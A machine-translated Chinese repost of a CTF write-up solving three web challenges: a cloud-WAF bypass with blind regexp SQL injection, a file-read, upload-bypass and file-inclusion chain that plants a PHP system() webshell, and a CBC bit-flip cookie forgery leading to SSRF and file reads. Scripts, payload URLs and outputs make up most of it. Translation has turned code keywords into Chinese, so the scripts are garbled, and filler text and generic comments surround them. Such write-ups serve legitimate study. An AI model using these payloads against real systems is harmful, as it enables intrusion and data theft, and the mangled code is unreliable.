三个有趣的网络问题

0x01 绕过云waf1.1题目简述题目来自最近的xctf赛博地球杯工业互联网安全大赛,是一道比较有趣的云waf绕过题目,题目过滤比较多,留下能用的只有like

大家好,如果您还对三个有趣的网络问题不太了解,没有关系,今天就由本站为大家分享三个有趣的网络问题的知识,包括的问题都会给大家分析到,还望可以解决大家的问题,下面我们就开始吧!

1.1 主题简要说明

这个问题来自于最近举办的xctf网络地球杯工业互联网安全大赛。这是一个比较有趣的云waf绕过问题。问题过滤器有很多,只剩下几个函数可以使用,例如regexp等。这里我介绍两种方法:

1.2 问题解决一

这是一个比较常规的想法,即对过滤器参数进行fuzz,然后找到未过滤的参数,拼接起来绕过waf。这里的问题受到严格限制,通过手动测试很容易知道:

1.使用||可以绕过or的过滤

2.可以用%0a绕过空格过滤

那么我们知道flag是当前表字段pass的值,那么问题就出现了

如何注入这个值呢?

一般方法是构造:

用户名=’||%0apass%0aregexp%0a’flag{……

下面简单介绍一下正则表达式:

Regexp是mysql中的正则表达式

而这里我们使用正则表达式逐位匹配注入,得到想要的值。

但问题就直接来了:

首先是通配符的问题,通配符可以直接满足脚本,比如flag{____________},这显然不是我们想要的值。

然后就是大问题和小问题的区别。例如,flag是flag{Xctf_Enc},但是我们得到的是flag{xctf_enc}。这也是不希望的。

所以这里需要使用另一个参数二进制

这可以与以下组合使用:

正则表达式二进制

这样就可以成功实现大小写识别,并实现区分大小写的定时注入。

我的脚本如下:

#!/usr/bin/env python

# 编码: utf-8

导入请求

导入urllib

导入字符串

有效负载=’标志{‘

标志=有效负载

url=’http://qcloudcetc.xctf.org.cn:8099/findpwd.php’

对于范围(1,1000): 内的i

对于string.letters+’1234567890!@#$%^*()_-+=}?’: 中的j

有效载荷+=j

数据={

‘用户名’:urllib.unquote(”||%0apass%0aregexp%0abinary%0a”)+payload

}

打印数据

r=requests.post(url=url,data=data)

如果r.content: 中“您的安全问题是cetc”

标志=有效负载

打印标志

休息

否则:

有效负载=标志

1.3 题解2

由于主题是cloud waf,所以这里有一个非常XD的解决方案

也就是说构造一个超长字符串可以让云waf检测不到我们的数据,直接绕过云waf。

如图:我们可以直接忽略云waf,使用union select注入。此时页面就失去了云waf的保护,变得容易受到攻击。

0x02 有趣的组合拳

2.1 课题简介

这些问题也来自最近的xctf网络地球杯工业互联网安全大赛。有很多测试点。考验的是审核代码和综合应用的能力。测试点如下:

1.读取任意文件

2.上传文件绕过

3. 文件包含

2.2

问题解决

问题给出了文件泄漏:index.php.swn

拿到源码后,找到了关键函数1:

函数下载($adfile, $file){

//只有管理员可以下载文件。

$cert=’N’;

if(isset($adfile) file_get_contents($adfile, ‘r’)===’是的,一切都会好起来的,我的老板’) {

回声’欢迎!你是管理员!’;

$证书=’Y’;

}别的{

回显“错误1”;

}

如果($cert===’Y’){

if (stripos($file, ‘file_list’) !=false) die(‘error4’);

if (stripos($file, ‘file_list’)=0) {

header(‘Content-Description: 文件传输’);

header(‘Content-Type: 应用程序/八位字节流’);

header(‘Content-Disposition: 附件; filename=’.basename($file));

header(‘Content-Transfer-Encoding: 二进制’);

header(‘Expires: 0’);

header(‘Cache-Control: 必须重新验证,后检查=0,预检查=0’);

标头(’Pragma: 公共’);

header(‘Content-Length:’ .filesize($file));

读取文件($文件);

}别的{

死(‘错误2’);

}

}别的{

回显“错误3”;

}

}

关键功能2:

函数自动加载($page) {

if (stripos($_SERVER[‘QUERY_STRING’], ‘flag’) 0) {

die(‘没有标志标志标志标志!’);

}

if (stripos($_SERVER[‘QUERY_STRING’], ‘已上传’) 0) {

die(‘没有上传已上传已上传!’);

}

if (stripos($_SERVER[‘QUERY_STRING’], ‘://f’) 0) {

die(‘没有://f ://f ://f’);

}

if (stripos($_SERVER[‘QUERY_STRING’], ‘ata’) 0) {

die(‘没有阿塔阿塔阿塔’);

}

if (stripos($_SERVER[‘QUERY_STRING’], ‘0’) 0) {

死(‘没有0 0 0’);

}

if(file_exists(‘./includes/$page.php’)) {

包含’./includes/$page.php’;

}

elseif(file_exists(‘./includes/$page’)) {

包含’./includes/$page’;

}别的{

echo ‘文件未退出’;

}

}

关键函数1告诉我们:文件可以读取

关键函数2告诉我们:有一个文件包含

那么现在思路就更清晰了:

1、使用按键功能1读取上传的代码,找到上传漏洞。

2.利用上传功能上传我们的恶意文件

3.使用文件包含来包含我们的恶意文件并获取flag

首先看关键函数1:

有一个测试:

if(isset($adfile) file_get_contents($adfile, ‘r’)===’是的,一切都会好起来的,我的老板’)

这里我们可以轻松绕过php://input伪协议

这样你就可以轻松获取upload.php的源代码

在upload.php中我们很容易找到几个关键代码:

if (substr($name, -3, 3) !==’zip’ substr($name, -3, 3) !==’jpg’ substr($name, -3, 3) !==’png’ ){

die(‘文件无法上传!’);

三个有趣的网络问题

}

这里限制只能上传zip、jpg、png

if($type !==’application/zip’ || $size 400)//文件的条件

{

die(‘格式不允许或文件太大!’);

}

格式问题就限制在这里了,这里抓包可以很方便的改。

if(file_exists(‘包含’)){

move_uploaded_file($temp, ‘includes/uploaded/’ .$name);

echo ‘上传完成!’;

shell_exec(‘sh /var/www/html/includes/unzip.sh’);

}elseif(file_exists(‘已上传’)){

move_uploaded_file($temp, ‘上传/’ .$name);

echo ‘上传完成!’;

shell_exec(‘sh /var/www/html/includes/unzip.sh’);

这里我们对我们最后一个文件进行处理,处理脚本是unzip.sh

接下来我们要读取这个文件

!#/bin/bash

cd ./已上传

查找./-大小+1M | xargs rm

光盘./

解压-o ./上传/*.zip -d ./上传/

rm -rf ./已上传/*.zip

rm -rf ./已上传/*.*

rm -rf ./已上传/.*

cd ./已上传

查找-类型d | xargs rm-rf

触摸/var/www/html/includes/uploaded/index.php

chmod 000 /var/www/html/includes/uploaded/index.php

很容易发现这个脚本解压了我们上传的zip并将其删除

rm -rf ./已上传/*.zip

rm -rf ./已上传/*.*

rm -rf ./已上传/.*

这里我们很容易发现一个问题,那就是如果没有后缀的话,是不会匹配到的,也就是说上传成功了,不会被删除。

所以这就是我所做的:

生成一个名为sky的文件并写入内容

?php

系统(‘猫标志/flag/flag/flag/flag/flag/flag.php’);

然后压缩上传,抓包并更改Content-Type。

然后上传后我们获取文件路径:

http://47.104.188.226:20001/包括/上传/天空

此时就需要用到前面提到的文件包含功能

http://47.104.188.226:20001/index.php?uploadedpage=上传/天空

然后根据

if(file_exists(‘./includes/$page.php’)) {

包含’./includes/$page.php’;

}

我们包含的文件变成

http://47.104.188.226:20001/index.php?uploadedpage=上传/sky.php

您现在可以获得旗帜

0x03 CBC-SSRF

3.1 课题简介

该题来自CUMT2018校赛,改编自汕头科技大学的CBC字节翻转题。

主要检查点:

1.CBC字节翻转攻击突破登录限制

2.Curl读取主机并发现内网

3、利用curl进行内网攻击

3.2 先前知识

我之前在另一篇文章中提到过。这里简单说一下CBC字节翻转攻击。

按照这个解密过程

但此时我们知道明文,想用iv来改变解密后的明文。

比如我们知道解密后明文是1dmin

我们要构造一个iv并让它解密并成为admin

还是原来的想法

原IV[1]^middle[1]=plain[1]

而此时

我们想要

构造iv[1]^mddle[1]=’a’

所以我们可以得到

构造iv[1]=middle[1]^’a’

并且middle[1]=原来的iv[1]^plain[1]

所以最后我们可以得到公式

构造的iv[1]=原始iv[1]^plain[1]^’a’

因此,可能会导致数据篡改

我们可以利用这个公式来遍历明文,构造iv,让程序解密出我们想要的明文。

3.3 问题解答

进去后发现有一个登录页面。

尝试登录

得到回声

尝试其他

感觉很矛盾。需要用admin登录,但是不能用admin登录。

这时候扫描一波目录,很容易得到admin.php和login.php的文件~。

尝试直接访问admin.php

得到回声

读取login.php~文件泄露

关键点如上

Login 函数会将info 变量视为纯文本,并使用随机生成的令牌作为iv 在aes-128-cbc 方法中进行加密。我们不知道关键。

然后将加密后的密文的base64值赋给cookie中的cipher,将iv的base64值赋给cookie中的token。

然后继续审核

Is_admin()函数是我们欺骗的关键

在这里,他将令牌和密码解码为Base64,恢复它们,然后解密它们。

然后反序列化纯文本

如果反序列化成功,则反序列化后的结果

username字段将被赋值为会话的用户名,否则将打印出反序列化失败的明文base64。

继续回头看

登录时,用户名和密码将被序列化并传递给login()函数进行加密。

然后通过is_admin()函数进行解密和判断。如果变成admin则登录成功。

然后我们开始构建

首先我们要研究清楚反序列化后会发生什么

如果我们使用

用户名=管理员密码=123

登录

序列化后得到

a:2:{s:8:’用户名’;s:5:’管理员’;s:8:’密码’;s:3:’123′;}

但这显然不能成功,因为问题过滤了admin,所以我们尝试使用1dmin

序列化后的结果是

a:2:{s:8:’用户名’;s:5:’1dmin’;s:8:’密码’;s:3:’123′;}

按照aes-128-cbc的分组方式对序列化进行分组,即16个为一组

得到如下安排:

根据cbc Flip攻击方式:

如果我们改变iv的某个字符,就会影响第一组中对应字符位置的值。

更改第一组中的字符将影响第二组中相应字符位置的值

所以现在我们要把第二组1dmin的‘1’改为‘a’

即:第二组第10位改为‘a’

所以可以应用cbc翻转攻击的公式

替换为ord_new=ord(‘’’)^ord(‘a’)^ord(‘1’)

也就是说此时将第一组的第10个字符改为chr(ord_new)

(注:双引号是第一组的第10个字符,1是第二组的第10个字符,a是我们想要的字符)

我们来测试一下

脚本如下:

#!/usr/bin/env python

# -*- 编码: utf-8 -*-

导入urllib

导入请求

三个有趣的网络问题

进口再

导入base64

url=’http://123.206.222.169:50001/login.php’

数据={

‘日志名’:’1dmin’,

‘logpass’:’123′

}

r=requests.post(url=url,data=data)

list=r.headers[‘Set-Cookie’].split(‘, ‘)

令牌=urllib.unquote(列表[1][6:])

密码=base64.b64decode(urllib.unquote(list[2][7:]))

phpsessid=列表[0].split(‘;’)[0][10:]

块=[]

对于范围内的i(0,len(密码),16):

block.append(密码[i:i+16])

替换=chr(ord(块[0][9]) ^ ord(‘1’) ^ ord(‘a’))

块[0]=块[0][:9]+替换+块[0][10:]

令牌=base64.b64decode(令牌)

密码_新=”

对于范围内的i(0,len(块)):

cipher_new +=块[i]

饼干={

‘PHPSESSID’:phpsessid,

‘cipher’:urllib.quote(base64.b64encode(cipher_new)),

‘token’:urllib.quote(base64.b64encode(token))

}

s=requests.get(url=url,cookies=cookie)

打印内容

获取回声:

求解base64,得到:

~66KFme’;s:5:’admin’;s:8:’密码’;s:3:’123′;}

之所以发现我们构造的密文无法序列化,是因为我们在第一次伪造第二组数据时,改变了第一组数据,导致第一组数据出现乱码。

这时候我就想,我们需要进行第二次构造,利用我们知道的iv,再次伪造第一组数据,变成原来的a:2:{s:8:’userna

这里的操作和上次一样,只是用公式

我直接附上完整的脚本

#!/usr/bin/env python

# -*- 编码: utf-8 -*-

导入urllib

导入请求

进口再

导入base64

url=’http://123.206.222.169:50001/login.php’

数据={

‘日志名’:’1dmin’,

‘logpass’:’123′

}

r=requests.post(url=url,data=data)

list=r.headers[‘Set-Cookie’].split(‘, ‘)

令牌=urllib.unquote(列表[1][6:])

密码=base64.b64decode(urllib.unquote(list[2][7:]))

phpsessid=列表[0].split(‘;’)[0][10:]

块=[]

对于范围内的i(0,len(密码),16):

block.append(密码[i:i+16])

替换=chr(ord(块[0][9]) ^ ord(‘1’) ^ ord(‘a’))

块[0]=块[0][:9]+替换+块[0][10:]

令牌=base64.b64decode(令牌)

密码_新=”

对于范围内的i(0,len(块)):

cipher_new +=块[i]

饼干={

‘PHPSESSID’:phpsessid,

‘cipher’:urllib.quote(base64.b64encode(cipher_new)),

‘token’:urllib.quote(base64.b64encode(token))

}

s=requests.get(url=url,cookies=cookie)

打印内容

res_tr=r’pbase64_decode(.*?)无法反序列化/p’

m_tr=re.findall(res_tr,s.content)

基数=m_tr[0][2:-3]

普通=base64.b64decode(base)[:16]

想要=’a:2:{s:8:’userna’

第一个_16=”

对于范围(16): 内的i

first_16 +=chr(ord(plain[i]) ^ ord(token[i]) ^ ord(want[i]))

新iv=first_16

饼干={

‘PHPSESSID’:phpsessid,

‘cipher’:urllib.quote(base64.b64encode(cipher_new)),

‘token’:urllib.quote(base64.b64encode(newiv))

}

k=requests.get(url=url,cookies=cookie)

打印phpsessid

此时我们可以得到一个phpsessionid

j8cbomulc1dijjdja3dnpm1ji6

至此我们的构建成功了,这个phpsessionid的用户名是admin

让我们使用cookieedit 来更改它

保存后,访问admin.php

得到回声

此时我们就登录成功了

观察网址

http://123.206.222.169:50001/admin.php?url=http://skysec.top/

猜猜这是一个ssrf

try file: //读取文件

http://123.206.222.169:50001/admin.php?url=file://skysec.top/

得到回声

我发现文件被过滤了。我想起了乐清小俊杰最后的过滤。

我们试图绕过这个案例

http://123.206.222.169:50001/admin.php?url=File:///etc/passwd

文件读取成功

经过查找,发现没有旗帜的踪迹。

所以读取etc/hosts文件

http://123.206.222.169:50001/admin.php?url=File:///etc/hosts

看到回声

发现内网172.17.0.1

访问http://123.206.222.169:50001/admin.php?url=172.17.0.1

发现一个空白页,右键查看源代码

找到一个已读文件

但有过滤

这里我们选择使用

php://filter/read=convert.base64-encode/资源读取方法

查看index.php

http://123.206.222.169:50001/admin.php?url=172.17.0.1?file=php://filter/read=convert.base64-encode/resource=index.php

PD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWluY2x1ZGUgImZsYWcucGhwIjsKCWlmKCEkX0dFVFsnZmlsZSddKQoJCXsKCQkJZWNobyBmaWxlX2dldF9jb250ZW50cygiLi9pbmRleC5waHAiKT SKCQl9CgkkZmlsZT0kX0dFVFsnZmlsZSDDOwoJaWYoc3Ryc3RyKCRmaWxlLCIuLi8iKXx8c3RyaXN0cigkZmlsZSwgInRwIil8fHN0cmlzdHIoJGZpbGUsImlucHV0Iil8fHN0cmlzdHIoJGZp bGU SIMRhdGEiKSkKCXsKCQllY2hvICJPACBubyEiOwoJCWV4aXQoKTsKCX0KCWluY2x1ZGUoJGZpbGUpOyAKPz4K

发现可以读取成功

所以我猜测flag.php可能存在

尝试

http://123.206.222.169:50001/admin.php?url=172.17.0.1?file=php://filter/read=convert.base64-encode/resource=flag.php

得到回声

PD9waHAgCi8vZWNobyAiY3VtdGN0Zntza3lfYW5kX2hpc19jYmNfaXNfc29fY29vbD99IjsKPz4KCg==

解码得到flag

?php

//echo ‘cumtctf{sky_and_his_cbc_is_so_cool?}’;

用户评论

三个有趣的网络问题
(り。薆情海

这三道题太有趣了!我平时也喜欢研究一些web相关的技术问题,这篇文章让我感觉又拓展了很多思路,特别是第3题的那个解法,我还真没想过。我要试着去解决一下试试看!

    有11位网友表示赞同!

三个有趣的网络问题
↘▂_倥絔

题目看着简单,但其实仔细想才发现细节很多啊!比如第一题里的路径判断,我一开始就忽略了它的不同情况,导致一直过不了测试用例。还是要细心一点才能做出一道完整的程序来。

    有13位网友表示赞同!

三个有趣的网络问题
心贝

说真的,这三道题难度有点偏高,我虽然对web有一定理解,但还是有些难题没法完整解决,希望作者能提供一下更详细的解题思路或代码参考,这样学习效果会更好!

    有7位网友表示赞同!

三个有趣的网络问题
箜明

喜欢这样的文章!很实用,适合像我一样刚接触web开发的小白来进行练习和巩固。我会把这三道题添加到我的学习清单里,慢慢来研究每个细节!

    有12位网友表示赞同!

三个有趣的网络问题
Hello爱情风

我觉得难度合适啊,三道题层次分明,从基础到进阶,都有所体现,正好可以测试一下我对web的掌握程度,而且每一道题都能学到一些新的知识点!

    有19位网友表示赞同!

三个有趣的网络问题
无望的后半生

虽然题目很有意思,但我更希望作者能分享一些关于Web的拓展知识,比如常见的网络安全问题、跨站脚本攻击等等,这样学习起来会更有深度和实用性。

    有11位网友表示赞同!

三个有趣的网络问题
凉月流沐@

感觉这篇文章挺不错的!三道题都比较有趣,可以锻炼代码逻辑思维能力,而且每个题目的解题思路都不一样,很有挑战性!

    有9位网友表示赞同!

三个有趣的网络问题
残花为谁悲丶

第三题那个代码实现方式确实很巧妙,以前没见过这种处理方法。作者的分析也很透彻,让我对Web的技术细节有了更深入的理解!

    有18位网友表示赞同!

三个有趣的网络问题
月下独酌

第一题我觉得有点过于简单了,甚至连小白都能轻松解决。后面两题难度可以再高一些,这样才能更有挑战性!

    有19位网友表示赞同!

三个有趣的网络问题
窒息

希望以后能看到更多这类有趣的web题分享,我特别喜欢这种动手实践学习的方式,更容易理解和记忆知识点!

    有9位网友表示赞同!

三个有趣的网络问题
玻璃渣子

三个题目的代码实现都不太简洁,而且注释不多,有些地方难以理解。建议作者可以优化代码格式,并加入更详细的注释说明!

    有6位网友表示赞同!

三个有趣的网络问题
代价是折磨╳

总感觉这三道题还是比较考验编程基础,对于刚入门web开发的朋友来说难度可能有点大,需要花更多的时间去理解和练习!

    有5位网友表示赞同!

三个有趣的网络问题
惯例

这种有趣的web题分享非常实用!可以用来测试自己的代码能力,也能够从中学习到新的解题思路。期待作者继续分享更多优质的开发内容!

    有20位网友表示赞同!

三个有趣的网络问题
此刻不是了i

三道题我全都没能解决… 感觉自己对web还是太陌生了,需要花更多时间去系统学习一下相关知识!

    有9位网友表示赞同!

三个有趣的网络问题
摩天轮的依恋

这篇文章虽然很短,但内容非常精辟,把几个常见的web概念进行了很好的诠释和演练。对于想要精进web开发技能的朋友来说,强烈推荐这篇文章!

    有12位网友表示赞同!

三个有趣的网络问题
绳情

我希望以后能看到更多关于Web安全、数据库、用户协议等方面的文章解析,这些都是我在学习过程中比较关注的知识点!

    有9位网友表示赞同!

原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/126265.html

(0)
小su's avatar小su
上一篇 2024年9月1日 下午9:28
下一篇 2024年9月1日 下午9:29

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注